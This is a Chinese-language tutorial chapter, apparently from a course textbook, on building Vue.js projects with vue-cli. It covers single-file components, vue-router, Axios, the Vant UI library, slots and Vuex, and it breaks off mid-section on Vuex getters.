使用space空格键进行选择/取消,a键进行全选/全不选,i键进行反选

{width="5.760416666666667in" height="1.8111111111111111in"}

Vue-cli为我们提供的可选择的项目配置有:

Babel 支持babel对高级ES代码进行转化

TypeScript 支持使用 TypeScript 书写源码

Progressive Web App (PWA) Support PWA 支持渐进式WEB应用

Router 支持 vue-router 路由

Vuex 支持 vuex 状态管理

CSS Pre-processors 支持 CSS 预处理器

Linter / Formatter 支持代码风格检查和格式化

Unit Testing 支持单元测试

E2E Testing 支持 E2E 测试

具体选择哪些项目预置需要根据项目的实际情况进行选择,在这里我们选择Babel,Router,Vuex,CSS Pre-processors预处理以及Linter / Formatter代码校验。

Babel我们知道是处理高级ES代码的,Router是Vue中的路由,CSS Pre-processors预处理指的是使用SCSS。Vuex我们还未接触过,Vuex是Vue的状态管理工具,在后续我们会详细讲解。

{width="5.761805555555555in" height="3.529166666666667in"}

在回车执行下一步的时候,终端会提示是否把路由的模式改变为History模式,跟据自己的需求输入y或者n,在这里我们不改变,继续使用hash模式:

{width="5.756944444444445in" height="0.8638888888888889in"}

在回车下一步后,终端会继续提醒选择一个CSS的预处理器,在这里我们选择SCSS(with node-sass),当然跟据项目需求的不同也可以有不同的选择:

{width="5.7555555555555555in" height="1.7131944444444445in"}

在点击回车后,会提示我们选择哪种代码校验的工具,在这里我们选择第一个:ESLint with error prevention only------只检测错误

{width="5.760416666666667in" height="1.8694444444444445in"}

· ESLint with error prevention only------只检测错误。

· ESLint + Airbnb config------独角兽公司的Airbnb,有人评价说"这是一份最合理的JavaScript编码规范",它几乎涵盖了JavaScript的各个方面。

· ESLint + Standard config------standardJs一份强大的JavaScript编码规范,自带linter和自动代码纠正。没有配置。自动格式化代码。可以在编码早期发现规范问题和低级错误。

· ESLint + Prettier------ Prettier作为代码格式化工具,能够统一整个团队的代码风格。

按下回车下一步的时候,会提示我们选择lint的两种检查时机,一是用户保存文件的时候,二是用户提交文件到git的时候。我们选择Lint on save,在保存是就进行检查:

{width="5.763194444444444in" height="1.5986111111111112in"}

下一步会提示我们,是喜欢把Babel、ESLint等配置信息全放在package.json文件里呢,还是单独文件管理?我们选择放进package.json文件中:

{width="5.756944444444445in" height="1.5263888888888888in"}

接着终端会提示我们要不要把本次预置保存下来以便以后的项目使用,我们选择yes,并给这个预置起一个名字为demo:

{width="5.761805555555555in" height="1.507638888888889in"}

当界面变为如下情况时,证明项目demo已经创建完毕:

{width="5.766666666666667in" height="2.7847222222222223in"}

# 启动项目

在上图中提示我们,进入项目根目录cd demo:

{width="5.759027777777778in" height="3.1930555555555555in"}

执行 npm run serve 启动项目,如下界面说明项目已经启动成功了:

{width="5.7659722222222225in" height="3.160416666666667in"}在浏览器中输入http://localhost:8080就可以访问项目demo的主页面了:

{width="5.763888888888889in" height="3.339583333333333in"}

到这里我们就成功的创建了一个vue的项目,在进行项目配置选择的时候要根据自己的实际需求进行选择。

# 5.1.3 vue-cli搭建的项目结构

下面我们讨论基于vue-cli自动生成的项目结构:

{width="5.764583333333333in" height="6.019444444444445in"}

src目录是我们的开发目录,下面我们来重点学习src文件的目录结构

{width="5.766666666666667in" height="4.988194444444445in"}

# 5.2在Vue脚手架环境下使用单文件组件

# 5.2.1 单文件组件

在很多 Vue 项目中,我们使用 Vue.component 来定义全局组件,紧接着用 new Vue({ el: '#container '}) 在每个页面内指定一个容器元素。

这种方式在很多中小规模的项目中运作的很好,在这些项目里 JavaScript 只被用来加强特定的视图。但当在更复杂的项目中,或者你的前端完全由 JavaScript 驱动的时候,下面这些缺点将变得非常明显:

全局定义 (Global definitions) 强制要求每个 component 中的命名不得重复

字符串模板 (String templates) 缺乏语法高亮,在 HTML 有多行的时候,需要用到丑陋的 \

不支持 CSS (No CSS support) 意味着当 HTML 和 JavaScript 组件化时,CSS 明显被遗漏

没有构建步骤 (No build step) 限制只能使用 HTML 和 ES5 JavaScript,而不能使用预处理器,如 Pug (formerly Jade) 和 Babel

文件扩展名为 .vue 的 single-file components (单文件组件) 为以上所有问题提供了解决方法,并且还可以使用 webpack 或 Browserify 等构建工具。

.vue文件,称为单文件组件,是Vue.js自定义的一种文件格式,一个.vue文件就是一个单独的组件,在文件内封装了组件相关的代码:html、css、js

.vue文件由三部分组成:<template>模板、<style>样式、<script>脚本

<template>

html

</template>

<style>

css

</style>

<script>

js

</script>

# 5.2.2 创建第一个单文件组件

上节中我们使用vue-cli生成了一个项目的基本框架,我们可以把自动生成的view文件夹中的文件和components文件夹中的文件删除,一步一步自己创建我们所需组件。

App.vue是我们的入口组件,也是我们项目中需要创建的第一个vue组件,当然,vue-cli已经帮我们创建过了:

{width="4.550694444444445in" height="9.692361111111111in"}

App.vue中默认的内容我们也先清空,这样更方便我们进行学习:

在app.vue中我们定义一个data数据msg,并把msg展示在页面中

{width="5.759722222222222in" height="3.6625in"}

我们可以看到在单文件组件中,跟我们原来使用component方法定义组件非常类似,data参数必须是一个函数,return出一个对象。不同的是在单文件组件中我们需要在在js模块中export 出vue的实例对象。

在template标签中我们像原来一样正常书写HTML代码和插值语句。

在style标签中定义该组件的样式,我们在项目中安装了scss,所以我们可以在style标签中设置lang='scss',我们就可以使用scss语法了。

我们还可以在style标签中定义scoped属性,实现在这个style中的样式只在这个组件中起作用,这样做的好处是避免污染其他组件的样式。

# 5.2.3 在页面中展示app.vue组件

我们要明白,浏览器最终能识别的是HTML文件,Vue写的是一个SPA的项目,那么整个项目中必须要有一个HTML文件,而其他的页面和模块都作为组件呈现,最终这些组件都会加载进这个HTML中继而被浏览器解析。

Vue-cli帮我们生成了这样的一个HTML文件,存放在public文件夹下。

{width="5.7625in" height="7.663888888888889in"}

那么我们运行命令npm run serve后打开http://localhost:8080看到的就是以这个HTML文件为基础打包后的HTML文件。

{width="5.758333333333334in" height="3.0388888888888888in"}

在src文件夹中还有一个入口js文件main.js,我们可以看到上图中页面中引入的有一个app.js,这个js文件就是入口文件main.js打包后的文件。

在入口文件main.js中们会定义vue实例,以及放置项目中经常会用到的插件和CSS样式。

{width="5.761111111111111in" height="3.576388888888889in"}

这是自动生成的main.js的内容,在这里使用了ES6的语法import,实现了在js中引入模块,我们可以这么理解:在main.js中引入vue.js,引入router文件夹下的index.js,引入store文件夹下的index.js,至于router和store的作用,后期课程我们会详细讲解。

我们可以看到在这里我们通过import App from "./App.vue" 在main.js中引入了App.vue组件,并在定义vue实例的时候通过render方法注册了这个组件。

注意,在这里采用render方法注册组件,而不再是通过components属性定义组件,这是因为我们使用脚手架安装的Vue.js是runtime-only 版本的,在main.js的实例中渲染组件时 只能识别render函数而不能识别components属性,不过效果跟之前我们使用components注册组件是一样的。

在定义Vue实例的时候,出现了$mount("#app")方法,这个方法的含义是把实例挂载在#app元素上,相当于是之前的el:"#app"。

到这里,app.vue就被成功渲染进main.js中,而main.js被引入我们HTML文件中,我们就可以在浏览器中看到app.vue中的内容。

{width="5.766666666666667in" height="0.7743055555555556in"}

app.vue是我们的入口组件,之后定义的其他组件都要通过app.vue进行加载,app.vue被渲染进main.js中,而main.js被引入我们的HTML 文件中,这就是单文件组件文件显示在浏览器中的过程。

# 5.3路由进阶

在第八章中我们已经介绍了什么是路由,前端路由本质上就是检测 url 的变化,截获 url 地址,然后进行解析匹配路由规则,跟据路由规则在router-view容器中加载不同的组件。

注意:app.vue是根组件,会被渲染进main.js中,其他的组件都会经过app.vue中的router-view标签进行加载。

下面我们将讨论如何在脚手架项目中使用路由。

# 5.3.1 在vue-cli项目中使用路由

在vue-cli脚手架生成的项目架构中已经自动生成了router文件夹,里面有一个index.js,我们将在这里定义路由规则,当然我们也可以直接把路由规则定义在main.js中,但是这样会造成main.js过于冗余,所以一般来说会把路由提成单独的模块,再在main.js中引入路由模块。

我们将使用vue-cli实现如下路由效果,点击下方导航里的首页按钮显示首页组件,点击个人中心按钮显示个人中心组件:

{width="2.8270833333333334in" height="5.372916666666667in"}{width="2.6180555555555554in" height="5.435416666666667in"}

(1).我们在views文件夹中建立Home组件和Person组件:

{width="5.764583333333333in" height="7.366666666666666in"}

Home.vue组件:

{width="5.761805555555555in" height="3.1034722222222224in"}

Person.vue组件:

{width="5.758333333333334in" height="3.06875in"}

  1. 在入口组件app.vue组件中定义导航按钮和容器router-view:

{width="5.7652777777777775in" height="3.1902777777777778in"}

{width="5.758333333333334in" height="4.692361111111111in"}

在app.vue组件中我们定义了两个路由导航按钮,router-link的to属性会告诉浏览器路径如何变化,跟据路径的变化,在路由规则中找到相对应的组件,在router-view中加载。

  1. 在router文件夹下index.js文件中定义路由规则:

{width="5.761805555555555in" height="5.8125in"}

在这里定义路由规则和第八章中介绍的方法一样,最后把定义的路由对象导出。

  1. 在main.js中使用路由

{width="5.759722222222222in" height="3.4159722222222224in"}

# 5.3.2 定义子路由

在路由规则的children属性中定义子路由,我们在上节的个人中心组件中加上登录和注册子组件:

{width="2.38125in" height="4.84375in"} {width="2.2805555555555554in" height="4.839583333333334in"}

  1. 在views文件夹中定义person文件夹,在person文件夹下定义login登录组件和resign注册组件:

{width="5.752777777777778in" height="2.3541666666666665in"}

  1. 在个人中心person.vue组件中添加上router-link和router-view

{width="5.761111111111111in" height="3.754861111111111in"}

  1. 配置子组件路由规则

{width="5.758333333333334in" height="3.847916666666667in"}

# 5.3.3 路由的传参

本节我们来看这样一个案例:

把上节中的首页内容改为显示新闻列表,点击每条新闻时显示新闻的详情页:

{width="4.1618055555555555in" height="8.289583333333333in"}

  1. 把home组件改为newslist.vue组件,在路由规则中也进行修改:

{width="5.763194444444444in" height="1.8347222222222221in"}

  1. 定义新闻列表json数据

{width="5.763888888888889in" height="2.3854166666666665in"}

在newslist.vue中引入新闻列表json文件,json文件可以直接用import引入,把新闻数据赋值给data中的newslist。

{width="5.763194444444444in" height="1.8708333333333333in"}

  1. 在newslist页面中循环输出新闻列表数据,在脚手架中Vue基本语法的使用方法跟不用脚手架时一样:

{width="5.7625in" height="4.219444444444444in"}

这样新闻列表数据展示在了页面中。

  1. 点击每条新闻跳转至新闻详情页:

定义新闻详情页组件newsinfo.vue,在这个组件中我们简单定义一句话:

{width="5.748611111111111in" height="3.7583333333333333in"}

添加新闻详情页路由规则:

{width="5.759027777777778in" height="1.8166666666666667in"}

给每个新闻的外层包router-link标签,点击时跳转至新闻详情页:

{width="5.756944444444445in" height="2.970833333333333in"}

{width="3.5555555555555554in" height="7.090277777777778in"}

我们思考一个问题,当我们点击每条新闻数据的时候,跳转至新闻详情页面中,在真正开发中,加载新闻详情页的时候我们将要请求新闻详情的数据,那么如何告诉服务器端用户点击的是哪条新闻,以保证服务端返回这条新闻的详情呢?这是我们要考虑的。

在点击路由的时候可以进行参数的传递,路由的传参可以帮我们解决上述问题。

(5) 进行路由传参:

当跳转至新闻详情页面时,我们可以把新闻id传递给新闻详情页,这样在新闻详情页中就可以知道用户点击的是哪条新闻了,在这里我们只考虑把新闻id传递至新闻详情页,新闻详情页的数据请求暂时不考虑。

路由传参有两种方式:query传参和params传参,接收时通过$route.query或者$route.params接收。

Query传参的几种定义方法:

query传参直接在to属性的路径后面通过?拼接上要传递的参数,参数的格式是key=value。

注意:因为使用到变量所以to属性需要使用v-bind绑定,简写为冒号(:)

{width="5.7659722222222225in" height="1.1131944444444444in"}

字符串的拼接比较麻烦,我们也可以在to属性里面通过对象的形式进行路由跳转,path指定跳转路径,是一个字符串,query执行传递的参数,是一个对象。

{width="5.761805555555555in" height="1.1111111111111112in"}

还可以通过name属性定义跳转组件,name属性的值需要和路由规则里定义的name值保持一致。

{width="5.763194444444444in" height="1.476388888888889in"}

在点击新闻列表跳转至新闻详情时,会携带点击这条新闻的newsId,在新闻详情页中通过$route.query.id接收:

{width="5.7625in" height="3.7263888888888888in"}

{width="2.870138888888889in" height="4.472916666666666in"}

我们可以看到在路径newsinfo的后面通过?拼接了id=4,这个4就是传递过来的参数。

Params传参:

params传参和query传参类似。

如果想要使用path属性进行params传参,那么需要在路由规则的path属性中定义传递的params的key值:

{width="5.761111111111111in" height="1.3631944444444444in"}

在进行路由跳转时同样在to属性中定义:

{width="5.761805555555555in" height="1.1180555555555556in"}

也可以使用对象的形式进行定义:

{width="5.7659722222222225in" height="0.9548611111111112in"}

在newsinfo组件中通过$route.params.id获取params参数。

(6)路由跳转的优化

我们会发现在本案例中给li外层嵌套一个router-link标签进行路由跳转会带来很多不便,比如嵌套带来的样式的变化以及需要把v-for循环挪动到router-link标签上。

在这里我们可以使用编程式导航进行路由的跳转,在编程式导航中,传递参数也很方便:

{width="5.7652777777777775in" height="1.2305555555555556in"}

# 5.3.4 $route和$router对象

(1)$route表示当前路由信息对象

表示当前激活的路由的状态信息,包含了当前 URL 解析得到的信息,还有 URL 匹配到的 route records(路由记录)。

路由信息对象:即$route会被注入每个组件中,可以利用它进行一些信息的获取。

1.$route.path

字符串,对应当前路由的路径,总是解析为绝对路径,如 "/foo/bar"。

2.$route.params

一个 key/value 对象,包含了 动态片段 和 全匹配片段,

如果没有路由参数,就是一个空对象。

3.$route.query

一个 key/value 对象,表示 URL 查询参数。

例如,对于路径 /foo?user=1,则有 $route.query.user == 1,

如果没有查询参数,则是个空对象。

$route.name

字符串对应当前路由的name属性

(2) $router对象-路由实例对象

$router代表全局的路由实例,是router构造方法的实例。在 Vue 实例内部,可以通过 $router 访问路由实例。

1. 路由实例方法push

字符串:this.$router.push('home')

对象:this.$router.push({ path: 'home' })

命名的路由:this.$router.push({ name: 'user', params: { userId: 123 }})

带查询参数,变成 /register?plan=123

this.$router.push({ path: 'register', query: { plan: '123' }})

push方法其实和<router-link :to="...">是等同的。

注意:push方法的跳转会向 history 栈添加一个新的记录,当我们点击浏览器的返回按钮时可以看到之前的页面。

2. 路由实例方法go

页面路由跳转前进或者后退:this.$router.go(-1) // 后退

3. 路由实例方法replace

push方法会向 history 栈添加一个新的记录,而replace方法是替换当前的页面,不会向 history 栈添加一个新的记录

# 5.3.5 watch监控路由

watch除了可以监听data中数据的变化,还可以监听路由的变化。

使用watch监听 $route.path属性。

{width="5.7659722222222225in" height="1.7159722222222222in"}

# 5.3.6 Vue-Router路由钩子函数(导航守卫)

路由钩子函数有三种:

1:全局钩子: beforeEach、 afterEach

2:单个路由里面的钩子:beforeEnter

3:组件路由:beforeRouteEnter、 beforeRouteUpdate、 beforeRouteLeave

1.全局守卫

无论访问哪一个路径,都会触发全局的钩子函数

router.beforeEach() 进入之前触发

router.afterEach() 进入之后触发

⑴ beforeEach(全局前置守卫)

使用 router.beforeEach 注册一个全局前置守卫

{width="5.7659722222222225in" height="1.0125in"}

每个守卫方法接收三个参数:

①to: Route: 即将要进入的目标路由对象(to是一个对象,是将要进入的路由对象,可以用to.path调用路由对象中的属性)

②from: Route: 当前导航正要离开的路由

③next: Function: 这是一个必须需要调用的方法,执行效果依赖 next 方法的调用参数。

next参数:

next(): 进行管道中的下一个钩子。如果全部钩子执行完了,则导航的状态就是confirmed (确认的)。

next(false): 中断当前的导航。如果浏览器的 URL 改变了 (可能是用户手动或者浏览器后退按 钮),那么 URL 地址会重置到 from 路由对应的地址。

next('/') 或者 next({ path: '/' }): 跳转到一个不同的地址。当前的导航被中断,然后进行一个新的导航。你可以向 next 传递任意位置对象,且允许设置诸如 replace: true、name: 'home' 之类的选项以及任何用在router-link 的 to prop或router.push中的选项。

next(error): (2.4.0+) 如果传入 next 的参数是一个 Error 实例,则导航会被终止且该错误会被传递给router.onError()注册过的回调。

. afterEach(全局后置钩子) 和守卫不同的是,这些钩子不会接受 next 函数也不会改变导航本身

{width="5.758333333333334in" height="0.7006944444444444in"}

路由独享的守卫(单个路由独享的)

在路由配置文件中我们只能设置路由改变前的钩子函数(beforeEnter)

写在路由配置中,只有访问到这个路径,才能触发钩子函数

{width="5.758333333333334in" height="2.0527777777777776in"}

3.组件级路由钩子

写在组件中,访问路径,即将渲染组件的时候触发的

可以在路由组件内直接定义以下路由导航守卫:

beforeRouteEnter

beforeRouteUpdate (2.2 新增)

beforeRouteLeave

{width="5.761805555555555in" height="3.1819444444444445in"}

# 5.4 在Vue脚手架环境下定义子组件

Vue框架中有灵活的组件系统,可以把一个页面拆分为可复用的一个个的组件,在上节案例中,我们可以对页面布局进行优化,在新闻列表页中,我们可以把每条新闻都定义为子组件:

  1. 定义子组件news_item.vue,一般我们把子组件放在components文件夹中

{width="3.6930555555555555in" height="6.981944444444444in"}

  1. 在newslist组件中注册使用子组件newsItem

{width="5.761111111111111in" height="5.1402777777777775in"}

在这里,涉及到父子组件的传值,跟之前一样使用自定义属性和props的方式进行传值。

  1. 在子组件news_item.vue中通过props属性接收父组件传递过来的数据,并展示在页面中

{width="5.759027777777778in" height="4.229166666666667in"}

# 5.5 在Vue脚手架环境下发送HTTP请求

在前后端分离的项目开发中,前端无可避免的要发送HTTP请求向服务端发送数据请求。在vue-cli脚手架中,目前最常用的两个HTTP请求插件是axios和vue-resource,更建议大家使用Axios,因为早期的Vue版本使用Vue-resource插件从后台获取数据。从Vue2.0之后就不再对vue-resource进行更新,而是推荐使用Axios。我们要在vue-cli项目中使用Axios插件,首先应该安装Axios,在终端中执行 npm install axios --save命令 安装Axios。

# 5.5.1 Axios的特点

5Axios 是一个基于 promise 的 HTTP 库,可以用在浏览器和 node.js 中。

Axios官方网站:http://www.axios-js.com/zh-cn/docs/ (opens new window)

Axios本质上也是对原生XHR的封装,只不过它是Promise的实现版本,符合最新的ES规范,它本身具有以下特征:

1.从浏览器中创建 XMLHttpRequest

2.支持 Promise API

3.提供了一些并发请求的接口,方便操作

4.从 node.js 创建 http 请求

5.拦截请求和响应

6.转换请求和响应数据

7.自动转换JSON数据

# 5.5.2 Axios的API

  1. axios可以通过配置(config)来发送请求

axios(config)

{width="5.758333333333334in" height="1.6520833333333333in"}

axios(url[,config])

{width="5.758333333333334in" height="0.7583333333333333in"}

(2) 请求方式的别名,这里对所有已经支持的请求方式都提供了方便的别名

{width="5.756944444444445in" height="1.3465277777777778in"}

注意:当我们在使用别名方法的时候,url,method,data这几个参数不需要在配置中声明

(3) 创建一个axios实例,并且可以自定义其配置

{width="5.761111111111111in" height="1.2493055555555554in"}

# 5.5.3 请求返回的内容

Axios请求得到的返回结果是一个对象:

{width="5.7625in" height="1.8847222222222222in"}

可以这样来获取响应信息

{width="5.759027777777778in" height="1.6229166666666666in"}

# 5.5.4 Axios的请求配置config

{width="5.761111111111111in" height="5.561111111111111in"}

{width="5.761111111111111in" height="5.682638888888889in"}

# 5.5.5 Axios默认配置

我们可以设置默认配置,对所有请求都有效。

  1. 全局默认配置

{width="5.758333333333334in" height="1.3520833333333333in"}

  1. 自定义的实例默认设置

{width="5.7659722222222225in" height="1.4722222222222223in"}

# 5.5.6 拦截器

我们可以在请求、响应在到达then/catch之前拦截他们,比如可以在发送请求的时候携带授权等。

{width="5.7659722222222225in" height="2.857638888888889in"}

# 5.5.7 使用Axios请求新闻列表数据

在上节中我们在使用新闻列表数据的时候,直接把newslist.json引入了页面中,在这里我们将对代码进行优化,使用Axios方法请求newslist.json数据。

  1. 安装axios:在终端中执行命令 npm install axios --save

{width="5.7659722222222225in" height="1.323611111111111in"}

  1. 把newslist.json作为静态资源放在public文件夹下

{width="2.817361111111111in" height="4.227083333333334in"}

  1. 使用axios发送请求

在发送http请求的组件newslist.vue里引入axios:

{width="5.756944444444445in" height="0.38472222222222224in"}

在methods中定义请求新闻列表的方法getNewsList,发送axios请求,在生命周期函数mounted中执行getNewsList方法。

注意:一般进入页面就需要发送的http请求会放在mounted或者created钩子函数中执行。

{width="5.761111111111111in" height="4.26875in"}

  1. 对代码进行优化

在这里只是一个组件中使用的axios,如果一个项目中各个组件都需要使用axios,在每个组件中都引入axios会使得代码十分繁琐,我们可以在入口js文件main.js中引入axios,并把它挂载为Vue对象的全局方法,就可以在任何组件中使用axios。

在main.js中引入axios,并把axios挂载在Vue对象的原型上,起名为$axios,这样就可以被所有的Vue实例使用。

{width="5.761111111111111in" height="1.0854166666666667in"}

在newslist组件中使用axios的时候不需要再引入,直接像使用Vue对象的其他全局方法一样,用this.$axios使用axios:

{width="5.763888888888889in" height="2.7006944444444443in"}

# 5.6 在Vue脚手架环境下使用UI框架

在之前写项目中我们会借助UI框架构建页面布局,比如说bootstrap框架,在VUE项目中我们同样可以使用UI框架让我们的开发更加方便,目前市面上有很多基于VUE的UI框架可供选择:

1:饿了么ElementUI:

PC端官网地址:http://element-cn.eleme.io/#/zh-CN (opens new window)

GitHub地址:https://github.com/ElemeFE/element (opens new window)

介绍:Element,一套为开发者、设计师和产品经理准备的基于 Vue 2.0 的桌面端组件库,整个ui风格简约,上手挺快,大多数vue开发应该都是选择element,因为社区做的比较完整,不懂的可以在网上找到很多博客和解答。

Mint-UI 饿了么移动端组件库

官网地址:http://mint-ui.github.io/#!/zh-cn

GitHub地址:https://github.com/ElemeFE/mint-ui (opens new window)

由饿了么前端团队推出的 Mint UI 是一个基于 Vue.js 的移动端组件库

3.vux

适用:移动端

官网地址:https://vux.li/ (opens new window)

GitHub地址:https://github.com/airyland/vux (opens new window)

介绍:VUX 是基于 WeUI 和 Vue.js 的 移动端 UI 组件库,提供丰富的组件满足移动端(微信)页面常用业务需求。

4:有赞Vant

适用:移动端

网站地址: https://youzan.github.io/vant/#/zh-CN/quickstart

GitHub地址:https://github.com/youzan/vant (opens new window)

Vant 是有赞开源的一套基于 Vue 2.0 的 Mobile 组件库。通过 Vant,可以快速搭建出风格统一的页面,提升开发效率。目前已有近 50 个组件,这些组件被广泛使用于有赞的各个移动端业务中。 Vant 旨在更快、更简单地开发基于 Vue 的美观易用的移动站点。

各个UI框架的使用方法非常类似,所以在这里我们着重对一个UI框架进行介绍。

本节我们将讨论Vant框架的使用方法。

# 5.6.1 安装使用

安装Vant:

npm i vant -S

引入组件:

方式一. 自动按需引入组件 (推荐)

babel-plugin-import 是一款 babel 插件,它会在编译过程中将 import 的写法自动转换为按需引入的方式

安装插件

npm i babel-plugin-import -D

{width="5.756944444444445in" height="2.5506944444444444in"}

注意:这种方式需要注册组件

方式二. 手动按需引入组件

在不使用插件的情况下,可以手动引入需要的组件

{width="5.766666666666667in" height="0.5625in"}

方式三. 导入所有组件

Vant 支持一次性导入所有组件,引入所有组件会增加代码包体积,因此不推荐这种做法.

{width="5.761111111111111in" height="1.4347222222222222in"}

注意:配置按需引入后,将不允许直接导入所有组件。

具体使用哪种引入方式跟据自己的需求和喜好进行选择。

本节内容中我们将列举常用的几个Vant组件进行讲解。

# 5.6.2 基础组件---button组件

(1) 新建vant.vue组件,并定义vant路由

(2) 在vant.vue组件中按需引入button,并注册button组件

{width="5.758333333333334in" height="1.8743055555555554in"}

(4) 使用van-button组件

{width="5.7652777777777775in" height="2.575in"}

# 5.6.3 表单组件

{width="5.761805555555555in" height="3.841666666666667in"}

{width="5.761805555555555in" height="4.163888888888889in"}

使用 Field 的rules属性可以定义校验规则,可选属性如下:

{width="5.760416666666667in" height="2.65in"}

# 5.6.4 导航组件---NavBar 导航栏

引入并使用导航栏组件:

{width="5.758333333333334in" height="1.6666666666666667in"}

使用插槽

通过插槽自定义导航栏两侧的内容

{width="5.758333333333334in" height="1.395138888888889in"}

{width="5.759027777777778in" height="3.4895833333333335in"}

导航栏组件可以使用的属性和事件:

{width="5.759027777777778in" height="3.654166666666667in"}

{width="5.764583333333333in" height="1.8284722222222223in"}

{width="5.761805555555555in" height="1.636111111111111in"}

在本节中介绍了Vant的几个常用组件,其他的组件跟这几个组件的使用方法类似,可以参照官方网站进行学习。

# 5.7 插槽

在上节内容中,导航栏组件里用到了插槽slot,那么本节内容我们来讨论什么是插槽。

# 5.7.1 什么是插槽?

插槽(Slot)是Vue提出来的一个概念,正如名字一样,插槽用于决定将组件所携带的内容,插入到指定的某个位置,从而使模板分块,具有模块化的特质和更大的重用性。

插槽显不显示、怎样显示是由父组件来控制的,而插槽在哪里显示就由子组件来进行控制。

插槽内可以是任意内容,可以是文字,可以是标签,也可以是一段template模板。

我们会发现在组件中间放置内容,在页面中并不会显示:

(1) 在view中定义组件slot.vue, 并在components文件夹中定义子组件child,在slot组件中使用child子组件:

{width="5.763194444444444in" height="2.672222222222222in"}

(2) 如果想要让子组件标签中的内容显示,就需要用到slot插槽

在子组件child中使用slot显示子组件标签中的内容

{width="5.759027777777778in" height="1.5222222222222221in"}

# 5.7.2 具名插槽

具名插槽,就是给这个插槽起个名字 在组件中,我们通过v-slot指令给插槽起个名字,一个名字叫"head",一个名字叫"foot",还有一个不起名字。

{width="5.7652777777777775in" height="3.6694444444444443in"}

在child子组件中我们可以通过name属性调用插槽:

{width="5.7652777777777775in" height="2.0743055555555556in"}

# 5.7.3 作用域插槽

插槽虽然是属于子组件child的,但是却放在父组件slot中,所以在插槽中可以使用父组件的数据,但是却不能使用子组件的数据。

如果想要在插槽中使用子组件的数据,就需要用到插槽作用域。

我们在子组件child.vue中定义数据 childMsg

{width="5.7659722222222225in" height="1.773611111111111in"}

在子组件child的slot标签里把childMsg作为自定义属性用v-bind(:)发送给插槽head

{width="5.759722222222222in" height="1.925in"}

在child的插槽head中我们可以在v-slot的等号后面接收子组件发送过来的数据起名为getChild,这个数据是一个对象,所以在使用的时候 方法是:getChild.toparent

{width="5.761805555555555in" height="3.920138888888889in"}

注意:v-slot指令冒号后面跟的是具名插槽的名字,等号后面跟的是作用域插槽传递过来的值。

# 5.8 Vue状态管理--Vuex

Vuex 是 Vue 配套的公共数据管理工具,它可以把一些共享的数据,保存到 Vuex 中,方便 整个程序中的任何组件直接获取或修改我们的公共数据。

我们知道,父组件向子组件传值用props和自定义属性实现,子组件向父组件传值用自定义事件和$emit实现,那么如果是兄弟组件之间传值呢,或者是多个组件之间都需要用到一个数据呢,传值将变得十分的麻烦,这种情况下可以使用Vuex统一管理这个公共数据,不管哪个组件要用,都可以直接拿来使用。

# 5.8.1 安装Vuex

在使用vue-cli安装项目的时候,在选择项目预置的时候有Vuex的安装选项,如果在项目预置中没有安装的话需要进行手动安装。

在终端中输入:npm i vuex --save进行vuex的安装。

在上文案例demo中我们在项目预置中已经安装完成vuex。

Vuex 和单纯的全局对象有以下两点不同:

Vuex 的状态存储是响应式的。当 Vue 组件从 store 中读取状态的时候,若 store 中的状态发生变化,那么相应的组件也会相应地得到高效更新。

不能直接改变 store 中的状态。改变 store 中的状态的唯一途径就是显式地提交 (commit) mutation。这样使得我们可以方便地跟踪每一个状态的变化,从而让我们能够实现一些工具帮助我们更好地了解我们的应用

# 5.8.2 使用Vuex

(1)创建Vuex文件

跟路由一样,我们可以在入口js文件index.js中使用配置Vuex并使用,也可以把Vuex抽离为单独的模块,一般我们会把Vuex抽离为单独的模块使用,这样代码结构更加清晰。

如果在项目预置中安装了vuex选项,那么会自动在项目文件夹src中生成store文件夹,store文件夹下会生成一个index.js文件,如果是手动安装Vuex,那么则需要自己创建store文件夹。

{width="1.6319444444444444in" height="3.036111111111111in"}

(2)在store/index.js中建立Vuex仓库。

每一个 Vuex 应用的核心就是 store(仓库)。"store"基本上就是一个容器,它包含着应用中大部分的状态 (state)。

{width="5.758333333333334in" height="4.134027777777778in"}

Vuex对象成员列表:

state 存放状态

Mutations state成员操作

getters 加工state成员返回一个新的值

actions 异步操作

modules 模块化状态管理

(3)在main.js中引入store/index.js并使用Vuex

{width="5.7659722222222225in" height="2.420138888888889in"}

# 5.8.3 State 状态

State 从字面意思理解,就是状态,在 Vuex 里面,什么代表了状态呢?数据就是状态。State 是 Vuex 这一状态管理工具的唯一的数据源,所有的数据都储存在里面。State就相当于是Vue实例中的data。

在state中定义数据count:

{width="5.766666666666667in" height="0.70625in"}

Vuex 通过 store 选项,提供了一种机制将状态从根组件"注入"到每一个子组件中(需调用 Vue.use(Vuex))。

通过在根实例中注册 store 选项,该 store 实例会注入到根组件下的所有子组件中,且子组件能通过 this.$store 访问到。

所以我们在需要用到状态count的组件中可以直接通过this.$store.state.count拿到公共数据count。

由于 Vuex 的状态存储是响应式的,从 store 实例中读取状态最简单的方法就是在计算属性中返回某个状态

{width="5.7659722222222225in" height="1.0555555555555556in"}

当一个组件需要获取多个状态的时候,将这些状态都声明为计算属性会有些重复和冗余。为了解决这个问题,我们可以使用 mapState 辅助函数帮助我们生成计算属性。

mapState 函数返回的是一个对象,我们可以使用对象展开运算符它与局部计算属性混合使用。

{width="5.759722222222222in" height="2.297222222222222in"}

# 5.8.4 Mutations

更改 Vuex 的 store 中的状态的唯一方法是提交 mutation。Vuex 中的 mutation 非常类似于事件:每个 mutation 都有一个字符串的 事件类型 (type) 和 一个 回调函数 (handler)。这个回调函数就是我们实际进行状态更改的地方,并且它会接受 state 作为第一个参数(state代表状态):

{width="5.758333333333334in" height="1.101388888888889in"}

不能直接调用一个 mutation handler。这个选项更像是事件注册:"当触发一个类型为 increment 的 mutation 时,调用此函数。"要唤醒一个 mutation handler,需要以相应的 type 调用 store.commit 方法:

{width="5.7652777777777775in" height="0.3576388888888889in"}

或者使用 mapMutations 辅助函数将组件中的 methods 映射为 store.commit 调用:

{width="5.761805555555555in" height="3.0243055555555554in"}

提交载荷(Payload) 我们可以向 store.commit 传入额外的参数,即 mutation 的 载荷(payload):

{width="5.759722222222222in" height="1.0305555555555554in"}

{width="5.732638888888889in" height="0.29791666666666666in"}

在大多数情况下,载荷应该是一个对象,这样可以包含多个字段并且记录的 mutation 会更易读:

{width="5.7652777777777775in" height="1.1875in"}

{width="5.7659722222222225in" height="0.5388888888888889in"}

# 5.8.5 Getters

Vuex 允许我们在 store 中定义"getter"(可以认为是 store 的计算属性)。就像计算属性一样,getter 的返回值会根据它的依赖被缓存起来,且只有当它的依赖值发生了改变才会被重新计算。

Getter 接受 state 作为其第一个参数:

{width="5.766666666666667in" height="2.328472222222222in"}

Getter 会暴露为 store.getters 对象,你可以以属性的形式访问这些值:

